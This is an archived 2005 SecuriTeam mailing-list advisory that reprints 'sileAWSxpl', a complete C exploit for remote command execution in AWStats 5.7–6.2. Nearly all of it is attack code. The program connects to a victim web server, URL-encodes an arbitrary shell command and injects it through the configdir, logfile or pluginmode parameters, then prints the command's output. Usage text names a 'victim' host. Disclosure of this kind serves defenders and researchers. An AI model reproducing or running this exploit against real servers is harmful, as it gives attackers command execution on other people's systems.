

[EXPL] AWStats Remote Command Execution

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0062.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 03/15/05

To: list@securiteam.com

Date: 15 Mar 2005 14:58:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

AWStats Remote Command Execution

SUMMARY

Presented here is an exploit for the
<<http://www.securiteam.com/securitynews/5MP0B2AEKS.html>> AWStats Remote Command Execution Vulnerability. The provided exploit code allows the user to exploit all 3 vulnerabilities methods (configdir, logfile, pluginmode).

DETAILS

```
/******  
* *  
* AWStats v5.7 – v6.2 *  
* *  
* sileAWSxpl *  
* This exploit utilize three methods for exploiter *  
* the vulnerability found on AWStats software. *  
* an user can execute remote code on vulnerable *  
* machine, with httpd privileges. *  
* *  
* References: www.securityfocus.org/bid/12543 *  
* *  
* coded by: Silentium of Anacron Group Italy *  
* date: 24/02/2005 *
```

Securiteam: [EXPL] AWStats Remote Command Execution

```
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron-group-italy *
* *
* this tool is developed under GPL license *
* no(c) .. copyleft *
* *
*****/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80 // port of the web server
#define CMDB 512 // buffer length for commands
#define BUFF 6000 // buffer length for output's commands
#define BANSTART "SILENTIUM"
#define BANSTOP "anacron_group_italy"
```

```
void info(void);
void sendxpl(FILE *out, char *argv[], int type);
void readout(int sock, char *argv[]);
void errgeth(void);
void errsock(void);
void errconn(void);
void errspla(void);
void errbuff(void);
```

```
int main(int argc, char *argv[]){

FILE *out;
int sock, sockconn, type;
struct sockaddr_in addr;
struct hostent *hp;

if(argc != 5)
    info();

type = atoi(argv[4]);

if(type < 0 || type > 3)
    info();

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    errsock();

    system("clear");
    printf("[*] Creating socket [OK]\n");
```

Securiteam: [EXPL] AWStats Remote Command Execution

```
if((hp = gethostbyname(argv[1])) == NULL)
    errgeth();

    printf("[*] Resolving victim host [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock, (struct sockaddr *)&addr, sizeof(addr));
if(sockconn < 0)
    errconn();

    printf("[*] Connecting at victim host [OK]\n",argv[1]);

out = fdopen(sock,"a");
setbuf(out,NULL);

sendxpl(out, argv, type);

    printf("[*] Sending exploit [OK]\n");

readout(sock, argv);

shutdown(sock, 2);
close(sock);
fclose(out);

return(0);

}

void info(void){
system("clear");
printf("#####\n"
    "# AWStats v5.7 - v6.2 #\n"
    "# Remote Code Execution #\n"
    "# exploit coded by Silentium #\n"
    "# Anacron Group Italy #\n"
    "# www.autistici.org/anacron-group-italy #\n"
    "#####\n"
    "[Usage]\n\n"
    " sileAWSxpl <victim> <path_awstats> <cmd> <type>\n\n"
    " [Type]\n"
    " 1) ?configdir=|cmd|\n"
    " 2) ?update=1&logfile=|cmd|\n"
    " 3) ?pluginmode=:system(\"cmd\");\n\n"
    "[example]\n\n"
    " sileAWSxpl www.victim.com /cgi-bin/awstats.pl \"uname -a\"
```

Securiteam: [EXPL] AWStats Remote Command Execution

```
3\n\n");
exit(1);

}

void sendxpl(FILE *out, char *argv[], int type){

char cmd[CMDB], cmd2[CMDB*3], cc;
char *hex = "0123456789abcdef";
int i, j = 0, size;

size = strlen(argv[3]);
strncpy(cmd,argv[3],size);
/**/ Url Encoding Mode ON ***/

for(i = 0; i < size; i++){
    cc = cmd[i];
    if(cc >= 'a' && cc <= 'z'
    || cc >= 'A' && cc <= 'Z'
    || cc >= '0' && cc <= '9'
    || cc == '-' || cc == '_' || cc == '.')
        cmd2[j++] = cc ;
    else{
        cmd2[j++] = '%';
        cmd2[j++] = hex[cc >> 4];
        cmd2[j++] = hex[cc & 0x0f];
    }
}

cmd2[j] = '\0';

/**/ Url Encoding Mode OFF ;P ***/

if(type==1)
    fprintf(out,"GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo|
HTTP/1.0\n"
        "Connection: Keep-Alive\n"
        "Accept: text/html, image/jpeg, image/png, text/*,
image/*, */*\n"
        "Accept-Encoding: x-gzip, x-deflate, gzip, deflate,
identity\n"
        "Accept-Charset: iso-8859-1, utf-8;q=0.5, */q=0.5\n"
        "Accept-Language: en\n"
        "Host: %s\n\n",argv[2],BANSTART,cmd2,BANSTOP,argv[1]);
else if(type==2)
    fprintf(out,"GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo|
HTTP/1.0\n"
        "Connection: Keep-Alive\n"
        "Accept: text/html, image/jpeg, image/png, text/*,
image/*, */*\n"
        "Accept-Encoding: x-gzip, x-deflate, gzip, deflate,
```

Securiteam: [EXPL] AWStats Remote Command Execution

```
identity\n"
    "Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
    "Accept-Language: en\n"
    "Host: %s\n",argv[2],BANSTART,cmd2,BANSTOP,argv[1]);
else if(type==3)
    fprintf(out,"GET %s?pluginmode=:system(\"echo+%s;%s;echo+%s\");
HTTP/1.0\n"
    "Connection: Keep-Alive\n"
    "Accept: text/html, image/jpeg, image/png, text/*,
image/*, */*\n"
    "Accept-Encoding: x-gzip, x-deflate, gzip, deflate,
identity\n"
    "Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
    "Accept-Language: en\n"
    "Host: %s\n",argv[2],BANSTART,cmd2,BANSTOP,argv[1]);
}

void readout(int sock, char *argv[]){

int i=0, flag;
char output[BUFF], tmp;
printf("[*] Output by %s:\n\n",argv[1]);

while(strstr(output,BANSTART) == NULL){
flag = read(sock,&tmp,1);
output[i++] = tmp;
if(i >= BUFF)
    errbuff();
if(flag==0)
    errsplo();
}
while(strstr(output,BANSTOP) == NULL){
read(sock,&tmp,1);
output[i++] = tmp;
putchar(tmp);
if(i >= BUFF)
    errbuff();
}
printf("\n\n");
}

void errsock(void){

system("clear");
printf("[x] Creating socket [FAILED]\n\n");
exit(1);
}
```

Securiteam: [EXPL] AWStats Remote Command Execution

```
void errgeth(void){

printf("[x] Resolving victim host [FAILED]\n\n");
exit(1);

}

void errconn(void){

printf("[x] Connecting at victim host [FAILED]\n\n");
exit(1);

}

void errsplo(void){

printf("[x] Exploiting victim host [FAILED]\n\n");
exit(1);

}

void errbuff(void){

printf("[x] Your buffer for output's command is FULL !!!\n\n");
exit(1);

}
```

ADDITIONAL INFORMATION

The information has been provided by
<<mailto:anacrongroupitaly@autistici.org>> Silentium.
The original article can be found at:
<http://www.autistici.org/anacron-group-italy/file/source/sileAWSxpl_v5.7-6.2.c>
http://www.autistici.org/anacron-group-italy/file/source/sileAWSxpl_v5.7-6.2.c

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.